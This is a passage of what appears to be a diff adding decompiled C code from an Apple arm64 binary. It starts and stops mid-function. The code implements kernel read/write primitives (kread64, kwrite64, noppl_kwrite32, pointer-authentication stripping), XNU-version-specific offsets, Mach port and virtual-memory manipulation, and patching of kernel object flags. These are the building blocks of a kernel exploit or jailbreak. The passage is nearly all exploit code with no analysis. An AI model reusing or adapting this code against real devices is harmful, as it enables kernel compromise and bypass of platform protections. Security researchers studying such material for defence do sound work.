+ v235 = sub_10414((struct_krwCtx *)v5, v317, &outputStructCnt); + if ( v235 ) + goto LABEL_553; + if ( *(_QWORD *)(v5 + 544) ) + { + v246 = outputStructCnt; +LABEL_578: + if ( !kread64_outptr( + (struct_krwCtx *)v5, + v246 + (int)outputStruct[0].msgh_bits * (__int64)*(int *)(v5 + 360), + (unsigned __int64 *)&name.msgh_bits) + || !kread64_outptr((struct_krwCtx *)v5, *(_QWORD *)&name.msgh_bits + 16LL, (unsigned __int64 *)a1) + || !kread64_outptr((struct_krwCtx *)v5, *(_QWORD *)a1 + 56LL, (unsigned __int64 *)&v315) + || !kread64_outptr((struct_krwCtx *)v5, v315 + 16, (unsigned __int64 *)&v316) ) + { + goto LABEL_537; + } + if ( validate_addr(v5, v316) ) + { + if ( !kread64_outptr( + (struct_krwCtx *)v5, + v246 + *(int *)(v5 + 360) * (__int64)v231, + (unsigned __int64 *)&name.msgh_bits) + || !kread64_outptr((struct_krwCtx *)v5, *(_QWORD *)&name.msgh_bits + 16LL, (unsigned __int64 *)v319) ) + { + goto LABEL_537; + } + v235 = sub_2566C(v5, (int *)outputStruct, *(unsigned __int64 *)v319); + if ( v235 ) + { +LABEL_553: + v305 = v235; + goto LABEL_537; + } + if ( kwrite64((struct_krwCtx *)v5, *(_QWORD *)&name.msgh_bits + 16LL, v316) ) + { + v247 = outputStruct[0].msgh_bits; + msgh_size = outputStruct[0].msgh_size; + *(_DWORD *)(v5 + 6448) = outputStruct[0].msgh_bits; + *(_DWORD *)(v5 + 6452) = msgh_size; + *(_DWORD *)(v5 + 6464) = v231; + v249 = v316; + *(_QWORD *)(v5 + 536) = v316; + v305 = 163841; + if ( v247 != -1 && msgh_size != -1 ) + { + if ( v249 ) + { + v305 = sub_21200((struct_krwCtx *)v5, v247); + if ( !v305 ) + { + v305 = sub_21200((struct_krwCtx *)v5, *(_DWORD *)(v5 + 6452)); + goto LABEL_620; + } + } + } + goto LABEL_537; + } + v258 = 163856; + } + else + { + v258 = 163878; + } + v305 = v258; + goto LABEL_537; + } + v313 = 0; + v246 = outputStructCnt; + if ( kread64_outptr( + (struct_krwCtx *)v5, + outputStructCnt + *(int *)(v5 + 360) * (__int64)v232, + (unsigned __int64 *)&name.msgh_bits) + && kread64_outptr((struct_krwCtx *)v5, *(_QWORD *)&name.msgh_bits + 16LL, (unsigned __int64 *)a1) + && kread64_outptr((struct_krwCtx *)v5, *(_QWORD *)a1 + 40LL, &v313) ) + { + v250 = 128; + if ( *(int *)(v5 + 320) > 8019 ) + v250 = -131072; + v251 = v250 + v313; + if ( *(int *)(v5 + 320) <= 8019 ) + v252 = v313 + 1024; + else + v252 = v313; + if ( v251 < v252 ) + { + v253 = 0; + v254 = 0; + do + { + v255 = kread64_outptr((struct_krwCtx *)v5, v251, &v312); + if ( v253 ) + { + if ( !v255 ) + goto LABEL_620; + v256 = v312; + if ( (v312 & 0x80000000000000LL) != 0 ) + v256 = v312 | 0xFFFFFF8000000000LL; + if ( v256 < *(_QWORD *)(v5 + 6632) + || ((v256 & 3) == 0 ? (v257 = v256 >= *(_QWORD *)(v5 + 6640)) : (v257 = 1), v257) ) + { + v254 = 0; + v253 = 0; + } + else if ( ++v254 == 7 ) + { + *(_QWORD *)(v5 + 544) = v253; + goto LABEL_578; + } + } + else + { + if ( !v255 ) + goto LABEL_620; + if ( v312 == 7 ) + v253 = v251; + else + v253 = 0; + } + v251 += *(int *)(v5 + 360); + } + while ( v251 < v252 ); + } + v305 = 0; + } +LABEL_620: + if ( v305 ) + { +LABEL_537: + if ( outputStruct[0].msgh_bits != -1 ) + close(outputStruct[0].msgh_bits); + if ( outputStruct[0].msgh_size != -1 ) + close(outputStruct[0].msgh_size); + *(_QWORD *)(v5 + 6448) = -1; + if ( v231 != -1 ) + close(v231); + *(_DWORD *)(v5 + 6464) = -1; + } + else + { + v305 = 0; + } + if ( v232 != -1 ) + close(v232); + } + else + { + v305 = 163884; + } +LABEL_547: + v10 = v305; + if ( !v305 ) + { + *(_DWORD *)(v5 + 232) = 0; + *(_OWORD *)(v5 + 240) = 0u; + *(_OWORD *)(v5 + 256) = 0u; + *(_QWORD *)(v5 + 272) = 0; + } + } + return v10; +} +// D7C4: conditional instruction was optimized away because w22.4==0 +// CEF4: variable 'v3' is possibly undefined +// EAD8: variable 'kobject' is possibly undefined +// ED8C: variable 'v209' is possibly undefined +// EDB0: variable 'v211' is possibly undefined +// 68: using guessed type section_64 stru_68; +// 42EC0: using guessed type __int128 xmmword_42EC0; +// 48940: using guessed type __int64 __fastcall __chkstk_darwin(_QWORD, _QWORD); + +//----- (000000000000F860) ---------------------------------------------------- +__int64 __fastcall sub_F860(__int64 a1, __int64 a2, __int64 a3, unsigned int a4) +{ + __int64 result; // x0 + __int64 v6; // x23 + _QWORD *v7; // x24 + __int64 v8; // x19 + unsigned __int64 v9; // x26 + unsigned __int64 v10; // x27 + vm_size_t v11; // x8 + vm_address_t v12; // x20 + __int64 v13; // x28 + __int64 v14; // x9 + unsigned __int64 v15; // x22 + unsigned __int64 v16; // x21 + unsigned __int64 v17; // x25 + size_t v19; // x22 + kern_return_t v20; // w0 + vm_address_t v21; // [xsp+0h] [xbp-F0h] + __int64 v22; // [xsp+8h] [xbp-E8h] + __int64 v23; // [xsp+10h] [xbp-E0h] + unsigned __int64 v24; // [xsp+18h] [xbp-D8h] + __int64 v26; // [xsp+28h] [xbp-C8h] + __int64 v27; // [xsp+30h] [xbp-C0h] + __int64 v28; // [xsp+38h] [xbp-B8h] + mach_port_t object_name; // [xsp+40h] [xbp-B0h] BYREF + mach_msg_type_number_t infoCnt; // [xsp+44h] [xbp-ACh] BYREF + int info[8]; // [xsp+48h] [xbp-A8h] BYREF + __int16 v32; // [xsp+68h] [xbp-88h] + vm_size_t size; // [xsp+70h] [xbp-80h] BYREF + vm_address_t address; // [xsp+78h] [xbp-78h] BYREF + _QWORD __src[2]; // [xsp+80h] [xbp-70h] BYREF + + result = 708642; + v6 = *(_QWORD *)(a1 + 80); + if ( !v6 ) + return 708609; + v7 = *(_QWORD **)(v6 + 13384); + v8 = *(_QWORD *)(v6 + 13400); + if ( *(_QWORD *)(v8 + 24) == v7[2] && *(_QWORD *)(v8 + 8) == *(_QWORD *)(v6 + 13392) && *v7 == *(_QWORD *)(v6 + 13408) ) + { + if ( !a4 ) + return 0; + v28 = *(_QWORD *)(v6 + 13392); + v9 = 0; + v10 = a4; + v11 = vm_page_size; + v12 = v7[3] - vm_page_size; + v23 = a2; + v24 = a4; + v21 = v12; + v22 = a1; + while ( 1 ) + { + v13 = v9 + a2; + v14 = *(_QWORD *)(a1 + 392) & (v9 + a2); + v15 = v14 + 64; + v16 = *(unsigned int *)(a1 + 384); + v17 = v14 + v10; + address = v12; + infoCnt = 9; + *(_QWORD *)(v8 + 8) = v7[1]; + madvise(*(void **)(v6 + 11296), 2 * v11, 2); + v26 = v7[1]; + v27 = v7[3]; + if ( v15 <= v16 || v17 > v16 ) + { + v7[1] = v13 - 16; + v7[3] = v12; + v20 = vm_region_64(mach_task_self_, &address, &size, 9, info, &infoCnt, &object_name); + v7[1] = v26; + v7[3] = v27; + *(_QWORD *)(v8 + 8) = v28; + ++*(_QWORD *)(v6 + 13416); + if ( v20 ) + return v20 | 0x80000000; + if ( v10 >= 0x10 ) + v19 = 16; + else + v19 = v10; + __src[0] = address; + __src[1] = size + address; + } + else + { + v7[1] = v13 - 78; + v7[3] = v12; + v20 = vm_region_64(mach_task_self_, &address, &size, 9, info, &infoCnt, &object_name); + v7[1] = v26; + v7[3] = v27; + *(_QWORD *)(v8 + 8) = v28; + ++*(_QWORD *)(v6 + 13416); + if ( v20 ) + return v20 | 0x80000000; + if ( v10 >= 2 ) + v19 = 2; + else + v19 = v10; + LOWORD(__src[0]) = v32; + } + memcpy((void *)(a3 + v9), __src, v19); + v9 += v19; + if ( v9 >= v24 ) + return 0; + v10 -= v19; + v28 = *(_QWORD *)(v8 + 8); + v11 = vm_page_size; + a1 = v22; + a2 = v23; + v12 = v21; + } + } + return result; +} + +//----- (000000000000FAE4) ---------------------------------------------------- +__int64 __fastcall sub_FAE4(_QWORD *a1, int8x8_t *a2) +{ + vm_size_t v4; // x21 + char v5; // w24 + unsigned __int64 v6; // x8 + unsigned __int64 v7; // x10 + unsigned __int64 v8; // x12 + __int64 v9; // x8 + __int64 v10; // x25 + __int64 v11; // x22 + vm_address_t v12; // x8 + __int64 v13; // x23 + vm_size_t v14; // x23 + kern_return_t v15; // w0 + __int64 v16; // x27 + __int64 v17; // x26 + __int64 v18; // x10 + __int64 v19; // x8 + __int64 v20; // x12 + int8x8_t v21; // x11 + __int64 v22; // x13 + __int64 v23; // x14 + kern_return_t memory_entry; // w0 + uint8x8_t v25; // d0 + bool v26; // zf + mem_entry_name_port_t object_handle; // [xsp+4h] [xbp-6Ch] BYREF + vm_size_t size; // [xsp+8h] [xbp-68h] BYREF + vm_address_t address; // [xsp+10h] [xbp-60h] BYREF + __int64 __buf; // [xsp+18h] [xbp-58h] BYREF + + v4 = vm_page_size; + v5 = vm_page_shift; + __buf = 0; + arc4random_buf(&__buf, 8u); + v6 = a1[1]; + v7 = v6 >> 34; + v8 = v6 >> 33; + v26 = HIDWORD(v6) == 0; + v9 = 0x40000; + if ( !v26 ) + v9 = 0x80000; + if ( v8 ) + v9 = 0x100000; + if ( v7 ) + v10 = 0x200000; + else + v10 = v9; + v11 = 708609; + v12 = a1[1681]; + address = v12; + if ( v12 ) + { + v13 = a1[1682]; + if ( v13 ) + { + madvise((void *)(v12 - v4 + v13), v4, 3); + v14 = v13 - v4; + v15 = vm_allocate(mach_task_self_, &address, v14, -905953280); + if ( v15 ) + return v15 | 0x80000000; + v16 = 0; + v11 = 708625; +LABEL_13: + v17 = v16 & 0x7F; + if ( v16 ) + { + if ( (v16 & 0x7F) == 0 ) + { + v15 = vm_allocate(mach_task_self_, &address, v14, -905953280); + if ( v15 ) + return v15 | 0x80000000; + } + } + v18 = __buf + v16; + *(_QWORD *)(address + v4 * v17) = __buf + v16; + __dsb(0xBu); + v19 = a2[4].u32[0]; + if ( !(_DWORD)v19 ) + goto LABEL_28; + v20 = 0; + v21 = a2[3]; + while ( 1 ) + { + v22 = 1LL << v20; + if ( (*(_QWORD *)&v21 & (1LL << v20)) == 0 ) + { + v23 = *(_QWORD *)(*(_QWORD *)a2 + (unsigned int)((_DWORD)v20 << v5)); + if ( v23 == v18 ) + { + size = v4; + object_handle = 0; + a2[3] = (int8x8_t)(*(_QWORD *)&v21 | v22); + memory_entry = mach_make_memory_entry( + mach_task_self_, + &size, + address + v4 * v17, + 2097155, + &object_handle, + 0); + if ( memory_entry ) + { + v11 = memory_entry | 0x80000000; + } + else + { + v11 = 0; + a2[5].i32[0] = object_handle; + } + LODWORD(v19) = a2[4].i32[0]; +LABEL_28: + v25 = (uint8x8_t)vcnt_s8(a2[3]); + v25.i16[0] = vaddlv_u8(v25); + ++v16; + v26 = (_DWORD)v19 == v25.i32[0] || (_DWORD)v11 == 0; + if ( v26 || v16 == v10 ) + return v11; + goto LABEL_13; + } + if ( v23 != a1[1699] ) + { + *(_QWORD *)&v21 |= v22; + a2[3] = v21; + } + } + if ( v19 == ++v20 ) + goto LABEL_28; + } + } + } + return v11; +} + +//----- (000000000000FD18) ---------------------------------------------------- +__int64 __fastcall sub_FD18(_DWORD *a1, __int64 a2) +{ + unsigned int v2; // w9 + __int64 v3; // x8 + uint8x8_t v4; // d0 + vm_size_t v6; // x20 + char v7; // w22 + __int64 v8; // x23 + vm_address_t v9; // x21 + kern_return_t v10; // w0 + + v2 = *(_DWORD *)(a2 + 32); + v3 = *(_QWORD *)(a2 + 24); + v4 = (uint8x8_t)vcnt_s8((int8x8_t)v3); + v4.i16[0] = vaddlv_u8(v4); + if ( v2 == v4.i32[0] ) + return 0; + v6 = vm_page_size; + v7 = vm_page_shift; + if ( *a1 == 3 && (unsigned int)(*(_DWORD *)(a2 + 36) + 1) < 2 ) + return 0; + if ( !v2 ) + return 0; + v8 = 0; + while ( (v3 & (1LL << v8)) != 0 ) + { +LABEL_10: + if ( ++v8 >= (unsigned __int64)v2 ) + return 0; + } + v9 = *(_QWORD *)a2 + (unsigned int)((_DWORD)v8 << v7); + v10 = vm_protect(mach_task_self_, v9, v6, 0, 0); + if ( !v10 ) + { + v10 = vm_protect(mach_task_self_, v9, v6, 0, 3); + if ( !v10 ) + { + v3 = *(_QWORD *)(a2 + 24) | (1LL << v8); + *(_QWORD *)(a2 + 24) = v3; + v2 = *(_DWORD *)(a2 + 32); + goto LABEL_10; + } + } + return v10 | 0x80000000; +} + +//----- (000000000000FE30) ---------------------------------------------------- +__int64 __fastcall sub_FE30(__int64 a1) +{ + mem_entry_name_port_t v1; // w5 + __int64 v2; // x20 + vm_size_t v3; // x19 + kern_return_t v4; // w0 + int v5; // w8 + vm_address_t address; // [xsp+18h] [xbp-28h] BYREF + + v1 = *(_DWORD *)(a1 + 13552); + if ( v1 + 1 < 2 ) + return 708609; + address = 0; + v3 = vm_page_size; + v4 = vm_map(mach_task_self_, &address, vm_page_size, 0, 1, v1, 0, 0, 3, 3, 2u); + if ( v4 ) + return v4 | 0x80000000; + if ( madvise((void *)address, v3, 3) ) + { + v5 = *__error(); + if ( v5 < 0 ) + v5 = -v5; + v2 = v5 | 0x40000000u; + } + else + { + v2 = 0; + } + vm_deallocate(mach_task_self_, address, v3); + return v2; +} + +//----- (000000000000FF10) ---------------------------------------------------- +__int64 __fastcall sub_FF10(__int64 a1, __int64 a2, __int64 a3, _QWORD *a4) +{ + unsigned __int64 v4; // x11 + int *v5; // x8 + int v6; // w10 + int v7; // w14 + int v8; // w11 + int v9; // w12 + int v10; // w13 + __int64 v11; // x9 + __int64 v12; // x8 + bool v13; // cc + __int64 result; // x0 + + v4 = *(_QWORD *)(a1 + 344); + if ( v4 >= 0x27120080D00000LL ) + { + v5 = (int *)(a2 + 124); + v6 = *(_DWORD *)(a2 + 124); + v7 = 2048; + v8 = 0x1000000; + v9 = 128; + v10 = 0x4000; + v11 = 88LL; + goto LABEL_23; + } + if ( v4 <= 0x225C23801AF00DLL ) + { + v5 = (int *)(a2 + 116); + v6 = *(_DWORD *)(a2 + 116); + v11 = 80LL; +LABEL_11: + v13 = v4 > 0x271200073FFFFFLL; + if ( v4 <= 0x271200073FFFFFLL ) + v10 = 0x80000; + else + v10 = 0x4000; + if ( v4 <= 0x271200073FFFFFLL ) + v9 = 4096; + else + v9 = 128; + if ( v4 <= 0x271200073FFFFFLL ) + v8 = 0x20000000; + else + v8 = 0x1000000; + if ( v13 ) + v7 = 2048; + else + v7 = 0x10000; + goto LABEL_23; + } + v12 = 116LL; + if ( *(int *)(a1 + 320) < 10002 ) + v12 = 124LL; + v11 = 80LL; + if ( *(int *)(a1 + 320) < 10002 ) + v11 = 88LL; + v5 = (int *)(a2 + v12); + v6 = *v5; + if ( v4 <= 0x2712000C6FFFFFLL ) + goto LABEL_11; + v7 = 2048; + v8 = 0x1000000; + v9 = 128; + v10 = 0x4000; +LABEL_23: + if ( ((v7 | v10) & ~v6) != 0 ) + return 163857LL; + *v5 = v9 | v6 | v8; + if ( a4 ) + *a4 = *(_QWORD *)(a2 + v11); + result = 0LL; + *(_QWORD *)(a2 + v11) = a3; + return result; +} + +//----- (000000000001003C) ---------------------------------------------------- +__int64 __fastcall sub_1003C( + struct_krwCtx *a1, + __int64 a2, + __int64 a3, + int a4, + __int64 a5, + __int64 a6, + unsigned __int64 a7) +{ + unsigned __int64 v14; // x0 + vm_size_t v15; // x8 + unsigned __int64 v16; // x8 + unsigned __int64 someLargeNumber; // x8 + __int64 v18; // x9 + __int64 result; // x0 + int v20; // w10 + int v21; // w12 + int v22; // w8 + int v23; // [xsp+Ch] [xbp-44h] BYREF + + v14 = sub_35A50(a1, 0, &v23); + if ( !v14 ) + return 708609; + *(_OWORD *)(a5 + 16) = 0u; + *(_OWORD *)(a5 + 32) = 0u; + *(_QWORD *)(a5 + 48) = 0; + *(_OWORD *)a5 = 0u; + v15 = a7 / vm_page_size; + *(_QWORD *)(a5 + 24) = 0; + *(_QWORD *)(a5 + 48) = v15; + v16 = (a3 - v14) >> v23; + *(_DWORD *)(a5 + 44) = 320; + *(_DWORD *)(a5 + 32) = v16; + *(_DWORD *)(a5 + 36) = 0x2000000; + *(_QWORD *)(a2 + 32) = a6; + if ( !a4 ) + return 0; + someLargeNumber = a1->someLargeNumber; + if ( someLargeNumber <= 0x27120080CFFFFFLL ) + { + if ( someLargeNumber < 0x225C23801AF00ELL ) + { + v18 = 116; + } + else + { + v18 = 116; + if ( a1->xnuMajorVersion < 10002 ) + v18 = 124; + } + } + else + { + v18 = 124; + } + v20 = *(_DWORD *)(a2 + v18); + if ( someLargeNumber <= 0x271200073FFFFFLL ) + v21 = 589824; + else + v21 = 18432; + if ( (v21 & ~v20) != 0 ) + return 163857; + result = 0; + if ( someLargeNumber <= 0x271200073FFFFFLL ) + v22 = 4096; + else + v22 = 128; + *(_DWORD *)(a2 + v18) = v20 | v22; + return result; +} + +//----- (00000000000101AC) ---------------------------------------------------- +void __fastcall sub_101AC(CFDictionaryRef *a1, const void *a2) +{ + CFNumberRef v4; // x21 + int valuePtr; // [xsp+Ch] [xbp-24h] BYREF + + valuePtr = 32; + v4 = CFNumberCreate(0, kCFNumberIntType, &valuePtr); + CFDictionarySetValue(a1, a2, v4); + CFRelease(v4); +} + +//----- (0000000000010214) ---------------------------------------------------- +__int64 __fastcall sub_10214(__int64 a1, __int64 a2, unsigned __int64 a3) +{ + __int64 v5; // x19 + __int64 v6; // x22 + _BOOL4 has_flag; // w0 + __int64 v8; // x8 + unsigned __int64 v9; // x0 + unsigned __int64 v10; // x22 + vm_size_t v11; // x21 + mem_entry_name_port_t v12; // w5 + kern_return_t v14; // w0 + int v15; // w8 + vm_address_t v16; // x9 + vm_address_t v17; // x9 + unsigned __int64 v18; // [xsp+10h] [xbp-70h] BYREF + __int64 v19; // [xsp+18h] [xbp-68h] BYREF + _QWORD v20[7]; // [xsp+20h] [xbp-60h] BYREF + vm_address_t address; // [xsp+58h] [xbp-28h] BYREF + + v5 = 163855; + if ( (unsigned int)kreadbuf_last_1( + (struct_krwCtx *)a1, + 8LL * (unsigned int)((a3 - *(_QWORD *)(a2 + 13568)) >> vm_page_shift) + *(_QWORD *)(a2 + 13576), + 8, + &v19) ) + { + if ( (~(_BYTE)v19 & 3) != 0 ) + return 708628; + v6 = v19 & 0xFFFFFFFFFFFCLL; + has_flag = krw_ctx_has_flag((struct_krwCtx *)a1, 0x8000); + v8 = 32; + if ( !has_flag ) + v8 = 8; + if ( kread64_outptr((struct_krwCtx *)a1, v6 + v8 - 0xFFFFFFFFFFE8LL, &v18) ) + { + v9 = sub_385F4((struct_krwCtx *)a1, v18 + ((a3 >> 10) & 0xC)); + if ( !v9 ) + return 163878; + v10 = v9; + address = 0; + v11 = vm_page_size; + v12 = *(_DWORD *)(a1 + 88); + if ( v12 + 1 > 1 ) + { + v14 = vm_map(mach_task_self_, &address, vm_page_size, 0, 1, v12, v9 & ~*(_QWORD *)(a1 + 392), 0, 3, 3, 2u); + if ( v14 ) + return v14 | 0x80000000; + } + else if ( (unsigned int)sub_38870((struct_krwCtx *)a1, v9, (__int64)v20) ) + { + return 0xFFFFFFFFLL; + } + v15 = *(_DWORD *)(a1 + 88); + if ( (unsigned int)(v15 + 1) >= 2 ) + v16 = address; + else + v16 = v20[0]; + v17 = (*(_QWORD *)(a1 + 392) & v10) + v16; + if ( *(_WORD *)v17 ) + { + v5 = 0; + atomic_fetch_add((atomic_ushort *volatile)v17, 0xFFFFu); + *(_WORD *)(v17 + 2) = 0x4000; + v15 = *(_DWORD *)(a1 + 88); + } + else + { + v5 = 163857; + } + if ( (unsigned int)(v15 + 1) >= 2 ) + vm_deallocate(mach_task_self_, address, v11); + else + sub_38BCC(a1, (__int64)v20); + } + } + return v5; +} + +//----- (0000000000010414) ---------------------------------------------------- +__int64 __fastcall sub_10414(struct_krwCtx *a1, __int64 a2, unsigned __int64 *a3) +{ + int xnuMajorVersion; // w8 + __int64 result; // x0 + __int64 v7; // x8 + _BOOL4 v9; // w8 + unsigned __int64 v10; // [xsp+8h] [xbp-28h] BYREF + + xnuMajorVersion = a1->xnuMajorVersion; + result = 163884; + if ( xnuMajorVersion <= 8791 ) + { + if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 ) + { + if ( xnuMajorVersion != 7195 ) + return result; + v7 = 248; + goto LABEL_12; + } +LABEL_10: + v7 = 256; + if ( a1->someLargeNumber > 0x1F530F027FFFFFLL ) + v7 = 248; +LABEL_12: + if ( !kread64_outptr(a1, v7 + a2, &v10) ) + return 163855; + if ( a1->someLargeNumber > 0x1F52FFFFFFFFFFLL || (v9 = kread64_outptr(a1, v10, &v10), result = 163855, v9) ) + { + if ( validate_addr((__int64)a1, v10) ) + { + result = 0; + *a3 = v10; + } + else + { + return 163878; + } + } + return result; + } + if ( xnuMajorVersion == 8796 || xnuMajorVersion == 8792 ) + goto LABEL_10; + return result; +} + +//----- (0000000000010534) ---------------------------------------------------- +__int64 __fastcall sub_10534(struct_krwCtx *a1, __int64 a2, unsigned int a3, unsigned __int64 *a4) +{ + __int64 v7; // x19 + __int64 v9; // [xsp+8h] [xbp-38h] BYREF + __int64 v10; // [xsp+10h] [xbp-30h] BYREF + unsigned __int64 v11; // [xsp+18h] [xbp-28h] BYREF + + *a4 = 0; + v9 = 0; + v7 = sub_10414(a1, a2, &v11); + if ( !(_DWORD)v7 ) + { + v7 = 163855; + if ( kread64_outptr(a1, v11 + 8LL * a3, (unsigned __int64 *)&v10) ) + { + if ( validate_addr((__int64)a1, v10) ) + { + if ( kread64_outptr(a1, v10 + 16, (unsigned __int64 *)&v9) ) + { + validate_addr((__int64)a1, v9); + if ( kread64_outptr(a1, v9 + 56, a4) ) + return 0; + else + return 163855; + } + } + else + { + return 163878; + } + } + } + return v7; +} + +//----- (0000000000010604) ---------------------------------------------------- +__int64 __fastcall kwritebuf_0_or_5(__int64 a1, __int64 a2, __int64 a3, __int64 a4) +{ + if ( (unsigned int)kwritebuf_last_1(*(_QWORD *)(a1 + 32), a2, a3, a4) ) + return 0; + else + return 5; +} + +//----- (000000000001062C) ---------------------------------------------------- +__int64 __fastcall sub_1062C(__int64 a1, __int64 a2, __int64 a3, __int64 a4) +{ + if ( (unsigned int)kreadbuf_last_1(*(struct_krwCtx **)(a1 + 32), a2, a4, (void *)a3) ) + return 0; + else + return 5; +} + +//----- (0000000000010660) ---------------------------------------------------- +__int64 __fastcall sub_10660(__int64 a1, __int64 a2) +{ + __int64 v3; // [xsp+8h] [xbp-8h] BYREF + + if ( (unsigned int)kreadbuf_last_1(*(struct_krwCtx **)(a1 + 32), a2, 8, &v3) ) + return v3; + else + return 0; +} + +//----- (0000000000010698) ---------------------------------------------------- +__int64 __fastcall kwrite64_via_kwritebuf(__int64 a1, __int64 a2, __int64 a3) +{ + __int64 v4; // [xsp+8h] [xbp-8h] BYREF + + v4 = a3; + if ( (unsigned int)kwritebuf_last_1(*(_QWORD *)(a1 + 32), a2, (__int64)&v4, 8) ) + return 0; + else + return 5; +} + +//----- (00000000000106D4) ---------------------------------------------------- +__int64 __fastcall kread32_maybe(__int64 a1, unsigned __int64 a2) +{ + unsigned int v3; // [xsp+Ch] [xbp-4h] BYREF + + if ( kread32_outptr(*(_QWORD *)(a1 + 0x20), a2, &v3) ) + return v3; + else + return 0; +} + +//----- (0000000000010708) ---------------------------------------------------- +__int64 __fastcall sub_10708(__int64 a1, mach_vm_address_t a2, int a3) +{ + if ( noppl_kwrite32(*(_QWORD *)(a1 + 32), a2, a3) ) + return 0; + else + return 5; +} + +//----- (0000000000010730) ---------------------------------------------------- +__int64 __fastcall sub_10730(_QWORD *a1, _QWORD **a2) +{ + __int128 v4; // q0 + unsigned __int64 v5; // x0 + __int128 v7; // [xsp+0h] [xbp-70h] BYREF + __int128 v8; // [xsp+10h] [xbp-60h] + __int128 v9; // [xsp+20h] [xbp-50h] BYREF + __int128 v10; // [xsp+30h] [xbp-40h] + + a1[1] = 176; + v9 = xmmword_42F30; + LODWORD(v10) = -763363313; + v7 = xmmword_42F44; + LODWORD(v8) = -993; + *a1 = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 5u) + 4; + v9 = xmmword_42F58; + v10 = unk_42F68; + *(_QWORD *)&v4 = -1; + *((_QWORD *)&v4 + 1) = -1; + v7 = v4; + v8 = v4; + v5 = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 8u); + a1[2] = v5; + a1[3] = v5 + 20; + a1[8] = v5 + 28; + *(_QWORD *)&v9 = 0xF9000010DAC10230LL; + DWORD2(v9) = -698416192; + *(_QWORD *)&v7 = -1; + DWORD2(v7) = -1; + a1[4] = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 3u); + *(_QWORD *)&v9 = 0xF9000010DAC10A30LL; + DWORD2(v9) = -698416192; + *(_QWORD *)&v7 = -1; + DWORD2(v7) = -1; + a1[5] = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 3u); + *(_QWORD *)&v9 = 0xD538D083D5034FDFLL; + DWORD2(v9) = -1862270273; + *(_QWORD *)&v7 = -1; + DWORD2(v7) = -1; + a1[6] = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 3u); + v9 = xmmword_42F78; + LODWORD(v10) = -683734767; + v7 = xmmword_42F8C; + LODWORD(v8) = -1; + a1[7] = sub_3FF8C(a2, (__int64)&v9, (__int64)&v7, 5u); + return 0; +} +// 42F30: using guessed type __int128 xmmword_42F30; +// 42F44: using guessed type __int128 xmmword_42F44; +// 42F58: using guessed type __int128 xmmword_42F58; +// 42F78: using guessed type __int128 xmmword_42F78; +// 42F8C: using guessed type __int128 xmmword_42F8C; + +//----- (000000000001091C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1091C(__int64 a1, int a2) +{ + size_t v4; // x20 + mach_msg_header_t *v5; // x0 + mach_port_name_t v6; // w8 + __int64 v7; // x20 + __int64 v8; // x0 + struct_krwCtx *v9; // x21 + __int64 v10; // x0 + unsigned __int64 v11; // x21 + mach_port_name_t name; // [xsp+Ch] [xbp-24h] BYREF + + name = 0; + mach_port_allocate(mach_task_self_, 1u, &name); + v4 = (unsigned int)(a2 + 24); + v5 = (mach_msg_header_t *)calloc(1u, v4); + v6 = name; + v5->msgh_size = v4; + v5->msgh_remote_port = v6; + v5->msgh_bits = 21; + mach_msg_send(v5); + v7 = sub_224AC(*(_QWORD *)(a1 + 8), name) + 32; + v8 = sub_10660(*(_QWORD *)(a1 + 8), v7); + v9 = *(struct_krwCtx **)(*(_QWORD *)(a1 + 8) + 32LL); + v10 = sub_10660(*(_QWORD *)(a1 + 8), v8 + 16); + v11 = krw_xpac_vaddr_2(v9, v10); + kwrite64_via_kwritebuf(*(_QWORD *)(a1 + 8), v7, 0); + mach_port_destroy(mach_task_self_, name); + return v11 + 32; +} + +//----- (00000000000109F8) ---------------------------------------------------- +__int64 __fastcall sub_109F8(__int64 a1, __int64 a2, __int64 a3, unsigned int a4, __int64 a5, __int64 a6, __int64 a7) +{ + __int64 v14; // x26 + _QWORD *v15; // x8 + __int64 v16; // x9 + mach_msg_header_t *v17; // x0 + mach_port_name_t v18; // w4 + __int64 vars8; // [xsp+48h] [xbp+8h] + + v14 = *(_QWORD *)(a1 + 16); + *(_DWORD *)(v14 + 1032) = *(_DWORD *)(v14 + 8); + *(_DWORD *)(v14 + 1036) = 0; + *(_DWORD *)(v14 + 1044) = *(_DWORD *)(v14 + 20) + 100; + memcpy((void *)(v14 + 1068), (const void *)(v14 + 56), 0x210u); + *(NDR_record_t *)(v14 + 1048) = NDR_record; + *(_DWORD *)(v14 + 1064) = 132; + *(_QWORD *)(v14 + 1056) = 0x1100000000LL; + *(_QWORD *)(v14 + 1024) = 0x23C00000012LL; + memcpy(*(void **)(a1 + 24), (const void *)(a1 + 44), 0x130u); + v16 = *(_QWORD *)(a1 + 16); + v15 = *(_QWORD **)(a1 + 24); + v15[1] = a2; + v15[2] = a3; + v15[3] = a4; + v15[4] = a5; + v15[5] = a6; + v15[6] = a7; + mach_msg_send((mach_msg_header_t *)(v16 + 1024)); + bzero(*(void **)(a1 + 16), 0x800u); + v17 = *(mach_msg_header_t **)(a1 + 16); + v18 = *(_DWORD *)(a1 + 368); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return mach_msg(v17, 2, 0, 0x400u, v18, 0, 0); +} +// 10AF8: variable 'vars8' is possibly undefined + +//----- (0000000000010B08) ---------------------------------------------------- +__int64 __fastcall sub_10B08(_QWORD *a1, __int64 a2, unsigned int a3, __int64 a4, __int64 a5, __int64 a6) +{ + __int64 v7; // x9 + __int64 v8; // x10 + __int64 v9; // x6 + __int64 v10; // x9 + __int64 result; // x0 + + v7 = 0; + v8 = a1[44]; + do + { + *(_QWORD *)(v8 + 8 + v7) = *(_QWORD *)(a6 + v7); + v7 += 8; + } + while ( v7 != 240 ); + *(_QWORD *)(v8 + 256) = a5; + *(_QWORD *)((char *)a1 + 220) = a1[45]; + v10 = *(_QWORD *)(a6 + 128); + v9 = *(_QWORD *)(a6 + 136); + *(_QWORD *)(v8 + 264) = a2; + *(_DWORD *)(v8 + 272) = a3; + *(_QWORD *)(v8 + 248) = a4; + *(_QWORD *)(v8 + 136) = v10; + *(_QWORD *)(v8 + 144) = v9; + result = sub_109F8((__int64)a1, a1[45], a2, a3, a4, v10, v9); + *(_QWORD *)((char *)a1 + 220) = a1[47]; + return result; +} + +//----- (0000000000010B90) ---------------------------------------------------- +__int64 __fastcall 